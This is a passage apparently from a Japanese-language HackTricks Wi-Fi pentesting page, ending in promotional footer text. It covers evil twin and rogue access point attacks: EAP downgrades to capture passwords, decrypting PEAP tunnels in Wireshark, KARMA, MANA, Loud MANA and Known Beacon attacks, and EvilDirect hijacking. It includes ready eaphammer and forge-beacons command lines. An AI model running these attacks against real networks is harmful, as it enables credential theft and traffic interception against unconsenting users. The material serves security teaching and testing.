を使用して、高効率のGTCダウングレード実装(平文パスワード)を利用する--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP
を使用して、提供されるメソッドを手動で指定する(攻撃を行う組織と同じ順序で同じ認証メソッドを提供することで、検出がはるかに難しくなる)。- Find more info in the wiki
Using Airgeddon
Airgeddon
は、以前に生成された証明書を使用してWPA/WPA2-EnterpriseネットワークにEAP認証を提供できます。偽のネットワークは接続プロトコルをEAP-MD5にダウングレードし、ユーザーとパスワードのMD5をキャプチャできるようにします。その後、攻撃者はパスワードをクラックしようとすることができます。
Airgedon
は、**継続的なEvil Twin攻撃(ノイジー)または誰かが接続するまでEvil Attackを作成するだけ(スムーズ)**の可能性を提供します。
Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks
この方法はPEAP接続でテストされましたが、任意のTLSトンネルを復号化しているため、EAP-TTLSでも機能するはずです
hostapd-wpeの設定内で、_dh_file_を含む行をコメントアウトします(dh_file=/etc/hostapd-wpe/certs/dh
から#dh_file=/etc/hostapd-wpe/certs/dh
へ)
これにより、hostapd-wpe
はDHの代わりにRSAを使用して鍵を交換するため、サーバーの秘密鍵を知っていることで後でトラフィックを復号化できるようになります。
次に、通常通りその修正された設定で**hostapd-wpe
を使用してEvil Twinを開始します。また、Evil Twin攻撃を実行しているインターフェースでwireshark
**を開始します。
今すぐまたは後で(認証の試行をいくつかキャプチャした後)、Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
でwiresharkにプライベートRSAキーを追加できます。
新しいエントリを追加し、次の値でフォームを埋めます:IPアドレス = any -- ポート = 0 -- プロトコル = data -- キー ファイル(キー ファイルを選択、問題を避けるためにパスワード保護されていないキー ファイルを選択)。
新しい**"Decrypted TLS"タブ**を確認してください:
KARMA, MANA, Loud MANA and Known beacons attack
ESSID and MAC black/whitelists
異なるタイプのメディアアクセス制御フィルターリスト(MFACL)と、それに対応するモードおよび不正アクセスポイント(AP)の動作への影響:
- MACベースのホワイトリスト:
- 不正APは、ホワイトリストに指定されたデバイスからのプローブリクエストにのみ応答し、リストにない他のすべてのデバイスには見えなくなります。
- MACベースのブラックリスト:
- 不正APは、ブラックリストにあるデバイスからのプローブリクエストを無視し、特定のデバイスに対して不正APを見えなくします。
- SSIDベースのホワイトリスト:
- 不正APは、リストにある特定のESSIDに対してのみプローブリクエストに応答し、Preferred Network Lists(PNL)にそのESSIDが含まれていないデバイスには見えなくなります。
- SSIDベースのブラックリスト:
- 不正APは、ブラックリストにある特定のESSIDに対するプローブリクエストには応答せず、特定のネットワークを探しているデバイスには見えなくなります。
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
この方法は、攻撃者がネットワークに接続しようとするデバイスからのすべてのプローブリクエストに応答する悪意のあるアクセスポイント(AP)を作成することを可能にします。この技術は、デバイスが探しているネットワークを模倣することによって、デバイスを攻撃者のAPに接続させることができます。デバイスがこの不正なAPに接続リクエストを送信すると、接続が完了し、デバイスは誤って攻撃者のネットワークに接続してしまいます。
MANA
その後、デバイスは無効なネットワーク応答を無視し始め、元のkarma攻撃の効果が減少しました。しかし、MANA攻撃として知られる新しい方法がイアン・デ・ヴィリアーズとドミニク・ホワイトによって導入されました。この方法は、不正なAPがデバイスのブロードキャストプローブリクエストに応答して、デバイスが以前に要求したネットワーク名(SSID)を使用して、Preferred Network Lists(PNL)をキャプチャすることを含みます。この高度な攻撃は、デバイスが既知のネットワークを記憶し優先順位を付ける方法を利用することで、元のkarma攻撃に対する保護を回避します。
MANA攻撃は、デバイスからの指向およびブロードキャストプローブリクエストの両方を監視することによって機能します。指向リクエストの場合、デバイスのMACアドレスと要求されたネットワーク名を記録し、この情報をリストに追加します。ブロードキャストリクエストが受信されると、APはデバイスのリストにあるネットワークに一致する情報で応答し、デバイスを不正なAPに接続させるよう誘引します。
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
Loud MANA
Loud MANA攻撃は、デバイスが指向プロービングを使用しない場合や、攻撃者にとってその優先ネットワークリスト(PNL)が不明な場合に使用される高度な戦略です。この攻撃は、同じエリアにいるデバイスはPNLにいくつかのネットワーク名を共有する可能性が高いという原則に基づいています。選択的に応答するのではなく、この攻撃は観測されたすべてのデバイスの結合PNLに見つかったすべてのネットワーク名(ESSID)に対してプローブ応答をブロードキャストします。この広範なアプローチは、デバイスが馴染みのあるネットワークを認識し、悪意のあるアクセスポイント(AP)に接続しようとする可能性を高めます。
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
Known Beacon attack
Loud MANA攻撃が不十分な場合、Known Beacon攻撃は別のアプローチを提供します。この方法は、単語リストから派生した潜在的なESSIDのリストを循環させながら、任意のネットワーク名に応答するAPをシミュレートすることによって接続プロセスをブルートフォースします。これは、多数のネットワークの存在をシミュレートし、被害者のPNL内のESSIDと一致することを期待し、作成されたAPへの接続試行を促します。この攻撃は、デバイスを捕らえるためのより攻撃的な試みとして--loud
オプションと組み合わせることで増幅できます。
Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のすべてのESSIDが充電されます(これを--loud
と組み合わせてLoud MANA + Known beacons攻撃を作成することもできます):
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
Known Beacon Burst attack
Known Beacon Burst attackは、ファイルにリストされた各ESSIDのためにビーコンフレームを迅速に放送することを含みます。これにより、偽のネットワークの密集した環境が作成され、特にMANA攻撃と組み合わせることで、デバイスが悪意のあるAPに接続する可能性が大幅に高まります。この技術は、デバイスのネットワーク選択メカニズムを圧倒するために、速度とボリュームを活用します。
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct
Wi-Fi Directは、従来の無線アクセスポイントを必要とせずに、デバイスがWi-Fiを使用して直接接続できるプロトコルです。この機能は、プリンターやテレビなどのさまざまなIoTデバイスに統合されており、デバイス間の直接通信を容易にします。Wi-Fi Directの注目すべき特徴は、1つのデバイスが接続を管理するアクセスポイントの役割を担うことで、これをグループオーナーと呼びます。
Wi-Fi Direct接続のセキュリティは、**Wi-Fi Protected Setup (WPS)**を通じて確立されており、セキュアなペアリングのためのいくつかの方法をサポートしています。これには以下が含まれます:
- プッシュボタン設定 (PBC)
- PIN入力
- 近距離無線通信 (NFC)
これらの方法、特にPIN入力は、従来のWi-FiネットワークにおけるWPSと同様の脆弱性にさらされており、同様の攻撃ベクターの標的となります。
EvilDirect Hijacking
EvilDirect Hijackingは、Wi-Fi Directに特有の攻撃です。これはEvil Twin攻撃の概念を反映していますが、Wi-Fi Direct接続をターゲットにしています。このシナリオでは、攻撃者が正当なグループオーナーを偽装し、デバイスを悪意のあるエンティティに接続させることを目的としています。この方法は、airbase-ng
のようなツールを使用して、偽装されたデバイスのチャネル、ESSID、およびMACアドレスを指定することで実行できます。
References
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
- https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
TODO: https://github.com/wifiphisher/wifiphisherを確認してください(Facebookでログインし、キャプティブポータルでWPAを模倣)
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、HackenProof Discordサーバーに参加してください!
Hacking Insights
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください
Real-Time Hack News
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握してください
Latest Announcements
新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を入手してください
今日、Discordに参加して、トップハッカーとコラボレーションを始めましょう!
{% hint style="success" %}
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出して、ハッキングのトリックを共有してください。